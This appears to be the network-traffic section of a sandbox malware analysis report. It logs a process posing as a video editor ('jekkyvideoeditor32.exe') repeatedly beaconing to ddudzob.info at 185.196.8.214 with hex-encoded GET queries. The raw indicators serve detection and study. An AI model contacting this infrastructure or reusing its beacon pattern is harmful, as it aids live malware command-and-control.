Sep 18, 2024 14:31:48.764152050 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:49.410887957 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49843	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:49.811244965 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:50.470588923 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49845	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:50.737524033 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:51.421313047 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49847	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:51.722810030 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:52.365251064 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49848	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:52.657639027 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:53.321826935 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49849	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:53.619533062 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:54.306250095 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49850	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:54.732295990 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:55.384587049 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49852	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:55.840876102 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:56.481544018 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49854	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:56.953218937 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:57.618319988 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49856	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:57.810837030 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:58.479981899 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49858	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:31:58.746654034 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:31:59.433631897 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49859	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:00.265738010 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:01.702322960 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:01.702588081 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:01.703094006 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49861	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:01.956809044 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:02.618367910 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49863	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:04.465259075 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:05.328757048 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49864	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:05.592866898 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:06.307219028 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49866	185.196.8.214	80	1496	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:06.655563116 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:07.329334021 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49868	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:07.638377905 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:08.283795118 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49869	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:08.465837955 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:09.158719063 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:09.266999960 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:09.504096985 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49871	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:09.646589994 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:10.540643930 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49873	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:10.693236113 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:11.402779102 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:11.536798954 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:11.787822008 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49874	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:11.913322926 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:12.608803988 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:12.727401018 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:12.968020916 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:13.080621958 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:13.326534033 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:13.439460993 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:13.677062988 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49876	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:13.805262089 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:14.502114058 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49878	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:14.625659943 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
